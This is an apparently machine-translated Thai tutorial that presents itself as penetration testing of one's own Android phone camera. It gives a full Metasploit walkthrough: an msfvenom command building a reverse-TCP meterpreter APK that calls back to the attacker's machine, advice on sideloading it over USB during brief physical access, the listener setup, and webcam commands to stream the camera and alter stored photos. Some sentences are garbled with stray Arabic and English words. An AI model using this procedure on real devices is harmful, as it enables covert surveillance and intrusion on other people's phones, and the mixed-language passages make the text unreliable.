เคยมีข่าวหลายเรื่องเกี่ยวกับแฮกเกอร์ขโมยกล้องโทรศัพท์ Android เพื่อแอบฟังหรือจัดหาภาพปลอมให้ผู้ใช้ بصفتهเจ้าของโทรศัพท์ที่vigilant คุณอาจมองหาวิธีป้องกันโดยการประเมินความน่าจะเป็นและความเสี่ยงจริงของภัยคุกคามดังกล่าว
Kali Linux เป็นหนึ่งในเครื่องมือที่ดีที่สุดสำหรับตรวจสอบช่องโหว่ที่อาจมีของกล้องโทรศัพท์ Android ผ่านการทดสอบเพเนตรชัน มันช่วยคุณอยู่เหนือการพยายามเข้าถึงกล้องโทรศัพท์จากระยะไกลของแฮกเกอร์
การติดตั้ง Exploit Payload
เพื่อใช้ Kali Linux สำหรับการทดสอบเพเนตรชัน ให้ดาวน์โหลดจากเว็บไซต์อย่างเป็นทางการก่อน อ้างอิงบทช่วยสอนก่อนหน้านี้สำหรับคำจำกัดความของแจ็คกอนต่างๆ เช่น "msfvenom," "msfconsole," "meterpreter," และอื่นๆ ที่จะใช้ในแบบฝึกหัดนี้
ขั้นตอนแรกในการทดสอบเพเนตรชันคือการติดตั้ง exploit payload มาตรฐานบนอุปกรณ์ สำหรับเรื่องนี้ ให้เปิดเทอร์มินัล Kali Linux และพิมพ์คำสั่งต่อไปนี้: ifconfig นี่จะให้ที่อยู่ IP ของเซสชัน Kali Linux ของคุณ
ตอนนี้ ให้พิมพ์คำสั่งที่แสดงด้านล่างโดยใช้ที่อยู่ IP ดังกล่าว หมายเลขพอร์ตสำหรับ exploits, trojans และช่องโหว่อื่นๆ โดยทั่วไปคือ 4444
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP address LPORT=Number R > Payload.apk
ในขั้นตอนนี้ พยายามฉีด metasploit payload ซึ่งพัฒนาจาก Java interpreter หากสำเร็จ การทดสอบเพเนตรชันจะช่วยยืนยันว่าโทรศัพท์ของคุณเปราะบางต่อการแอบฟังสาย โทรศัพท์ เข้าถึง SMS ตรวจสอบตำแหน่งผู้ใช้ ฯลฯ
ในกรณีนี้ การพยายามคือการแสดงให้เห็นว่า exploit สามารถใช้เข้าถึงกล้องของโทรศัพท์ได้โดยทั่วไป
เมื่อ exploit เริ่มทำงาน ไฟล์ APK ชื่อ "Payload" จะถูกติดตั้งในโฟลเดอร์ root คุณต้องติดตั้งมันบนโทรศัพท์ Android เป้าหมาย อย่างไรก็ตาม มันง่ายกว่าที่ทำ โทรศัพท์ Android รุ่นใหม่และอีเมลส่วนใหญ่จะปฏิเสธไฟล์ที่ติดมัลแวร์แบบนี้ และนี่เป็นสิ่งดี
อย่างไรก็ตาม ยังสามารถทำได้ผ่านสาย USB หรือไฟล์ชั่วคราว หากแฮกเกอร์เข้าถึงโทรศัพท์ของคุณได้สักไม่กี่นาที ทำให้มันเปราะบางในระดับหนึ่ง ความพยายามของเราในการทดสอบเพเนตรชันนี้คือการกำหนดขอบเขตความเสี่ยงที่แน่นอน
หลังจากโอนไฟล์แล้ว คุณต้องหาวิธีติดตั้งไฟล์ payload บนโทรศัพท์ของคุณ เว้นแต่จะเป็น Android รุ่นเก่ามาก โทรศัพทองของคุณควรให้คำเตือนหลายข้อก่อนที่ APK จะติดตั้งได้ อย่างไรก็ตาม ไม่ว่าจะเป็นเวอร์ชัน Android ใด ก็มีหลายวิธีติดตั้งแอปจากแหล่งที่ไม่รู้จักในโทรศัพท์ Android
การเปิดใช้งาน Exploit
เพื่อเปิดใช้งาน Payload exploit ข้างต้น ให้ใส่คำสั่งต่อไปนี้: msfconsole จะใช้เพียงไม่กี่วินาทีสำหรับคำสั่งในการรัน และ metasploit จะพร้อมสำหรับการทดสอบเพเนตรชันเพิ่มเติมบนกล้องโทรศัพท์
Metasploit จะให้คำอธิบายครบถ้วนของตัวเอง สรุปของ payload ก็มองเห็นได้ มันแสดงจำนวน exploits ที่ทำงานอยู่
ในขั้นตอนถัดไป msfconsole พร้อมเปิดใช้งาน exploit สำหรับเรื่องนี้ ให้อ้างอิงที่อยู่ IP และหมายเลขพอร์ต (4444) ที่กล่าวมาก่อนหน้านี้ ตามลำดับ ให้พิมพ์คำสั่งต่อไปนี้:
exploit (multi/handler) > set LHOST "IP Address" [ENTER] set LPORT "Port number" [ENTER] exploit [ENTER]
เมื่อ reverse TCP handler ถูกเปิดใช้งาน คุณจะเห็นขั้นตอนต่างๆ ของ Meterpreter ที่เปิดใช้งานตัวเอง รอสักครู่ขณะที่มันวินิจฉัยโทรศัพท์เป้าหมาย
ต้องกล่าวที่นี่ว่า โทรศัพท์ Android รุ่นใหม่ส่วนใหญ่จะยังคงปฏิเสธการเข้าถึงนี้ จำไว้ว่า นี่คือการทดสอบเพเนตรชัน หากโทรศัพท์ Android ของคุณไม่สามารถโจมตีได้ด้วยไฟล์ APK ร้ายแรงนี้ แสดงว่าผู้ผลิตโทรศัพท์ของคุณทราบเวกเตอร์การโจมตีนี้แล้ว
การเข้าถึงกล้องโทรศัพท์ Android
หากคุณสามารถใส่ exploit ลงในโทรศัพท์ได้สำเร็จ มีโอกาสที่มันสามารถโจมตีได้ เมื่อเกิดขึ้น "meterpreter" บนเทอร์มินัล Kali Linux จะสามารถสร้างการเชื่อมต่อกับโทรศัพท์ได้ ณ จุดนี้ ให้ใส่ help เพื่อเข้าถึงตัวเลือกหลายอย่างภายในโทรศัพท์ Android ที่อยู่ภายใต้การโจมตี
ใส่คำสั่งต่อไปนี้ (จากเมนู help) เพื่อเข้าถึงกล้องของโทรศัพท์คุณ ใน exploit นี้มีการพยายามเข้าถึงกล้องหลังเพื่อถ่ายภาพจากเทอร์มินัล
webcam_list [ENTER] 1. Back camera 2. Front camera [ENTER] webcam_stream -i 1
เพื่อให้การทดสอบเพเนตรชันสมบูรณ์ เมื่อคุณสามารถเข้าถึงกล้องแล้ว ให้ถ่ายภาพและบันทึกไว้ในโฟลเดอร์ root ของ Kali Linux คุณยังสามารถแก้ไข เปลี่ยนชื่อ หรือลบภาพอื่นๆ ที่จัดเก็บไว้ได้ ดังนั้น การเพเนตรชันที่สำเร็จบนโทรศัพท์ที่ทดสอบเป็นสัญญาณเตือนถึงความน่าจะเป็นของการโจมตีจริง หมายถึงถึงเวลาไปหา security patch
ในบทช่วยสอนนี้ คุณเรียนรู้วิธีที่กล้อง Android สามารถเข้าถึงได้จากเทอร์มินัล Kali Linux สำหรับการทดสอบเพเนตรชัน
นี่คือบทความวิจัยด้านความปลอดภัย หากคุณเข้าถึงกล้องของคนอื่นเพื่อสาธิต ขออนุญาตจากพวกเขาก่อนเสมอ – เว้นแต่จะเป็นโทรศัพท์ของตัวเอง อย่าลืมดู hacking apps สำหรับ Android ที่ช่วยทดสอบและหาช่องโหว่ในโทรศัพท์ของคุณ